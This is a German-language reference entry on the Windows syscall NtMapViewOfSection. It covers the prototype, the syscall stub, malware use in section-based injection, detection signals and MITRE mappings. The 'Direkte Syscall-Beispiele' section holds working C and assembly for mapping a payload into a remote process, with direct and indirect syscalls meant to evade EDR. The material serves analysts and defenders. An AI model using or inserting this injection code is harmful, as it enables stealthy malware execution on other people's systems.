NtMapViewOfSection

Prototyp

NTSTATUS NtMapViewOfSection(
  HANDLE          SectionHandle,
  HANDLE          ProcessHandle,
  PVOID          *BaseAddress,
  ULONG_PTR       ZeroBits,
  SIZE_T          CommitSize,
  PLARGE_INTEGER  SectionOffset,
  PSIZE_T         ViewSize,
  SECTION_INHERIT InheritDisposition,
  ULONG           AllocationType,
  ULONG           Win32Protect
);

Argumente

Syscall-IDs pro Windows-Version

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 28 00 00 00      mov eax, 0x28
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

`NtMapViewOfSection` ist der Userland-Eingangspunkt der Kernel-Familie `MiMapViewOfSection`. SSN `0x28` ist über alle ausgelieferten Win10/11-Builds stabil. Section-basierter Speicher unterscheidet sich grundlegend von `NtAllocateVirtualMemory`: Views werden von einem `_SECTION`-Objekt (Datei oder Pagefile) gestützt, teilen physische Seiten zwischen Prozessen und erscheinen in den VADs mit `SubsectionBased`/`MappedFile` statt `Private`. Diese duale Natur — dieselben Bytes in zwei Adressräumen sichtbar — macht sie für Injection unwiderstehlich.

Häufige Malware-Nutzung

Fundament der Section-basierten Injection (Injection im `MapViewOfSection`-Stil, Process Doppelgänging, Process Ghosting, Transacted Hollowing, Atom-Bombing-Varianten). Eine pagefile-basierte Section wird per `NtCreateSection` erzeugt, lokal RW gemappt, der Shellcode hineinkopiert und dieselbe Section dann RX in den Remote-Prozess gemappt. Die Bytes erscheinen im Ziel ausführbar, ohne einen einzigen expliziten `WriteProcessMemory`-Aufruf. Verwendet von FIN7/Carbanak-Loadern, BumbleBee, dem ursprünglichen Process Doppelgänging von enSilo und diversen RAT-Loadern. Auch Rückgrat des Side-Loadings via `KnownDlls`-Poisoning.

Erkennungs­möglichkeiten

Section-Injection meidet bewusst die Telemetrie von `NtWriteVirtualMemory` und `NtAllocateVirtualMemory`, auf die EDRs achten. Allerdings feuern Sysmon Event ID 7 (`Image Load`) und Event ID 8 (`CreateRemoteThread`) weiterhin auf die Folgen. ETW Threat Intelligence emittiert `EtwTiLogMapExecVm`, sobald eine ausführbare View in einen Remote-Prozess gemappt wird — das ist das dedizierte Signal. VAD-Analyse mit PE-Sieve markiert `MappedImage`-Regionen, deren Backing-Datei gelöscht wurde (Process Ghosting) oder deren Section-Name keiner legitimen KnownDll entspricht. `ObRegisterCallbacks` auf `*PsProcessType` erlaubt Treibern, Rechte vom Section-Handle zu strippen, bevor es prozessübergreifend gemappt werden kann.

Direkte Syscall-Beispiele

; Direct syscall stub for NtMapViewOfSection (SSN 0x28, stable across all Win10/11)
NtMapViewOfSection PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 28h          ; SSN
    syscall
    ret
NtMapViewOfSection ENDP

// Section injection: same physical pages mapped RW locally, RX in target.
HANDLE hSection = NULL;
LARGE_INTEGER max_size = { .QuadPart = 0x10000 };
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &max_size,
                PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

PVOID  local_view = NULL;
SIZE_T view_size  = 0;
NtMapViewOfSection(hSection, NtCurrentProcess(), &local_view, 0, 0, NULL,
                   &view_size, ViewUnmap, 0, PAGE_READWRITE);
memcpy(local_view, payload, payload_len);

PVOID  remote_view = NULL;
view_size = 0;
NtMapViewOfSection(hSection, hRemote, &remote_view, 0, 0, NULL,
                   &view_size, ViewUnmap, 0, PAGE_EXECUTE_READ);

// SSN 0x28 across every supported build, but still better to resolve dynamically.
DWORD ssn = GetSyscallNumber(GetProcAddress(GetModuleHandleA("ntdll.dll"),
                                            "NtMapViewOfSection"));
set_ssn(ssn);
indirect_syscall_invoke(/* hSection, hRemote, &remote_view, ... */);

MITRE ATT&CK-Mappings

• T1055Process Injectionmitre ↗
• T1055.012Process Hollowingmitre ↗
• T1055.013Process Doppelgängingmitre ↗
• T1620Reflective Code Loadingmitre ↗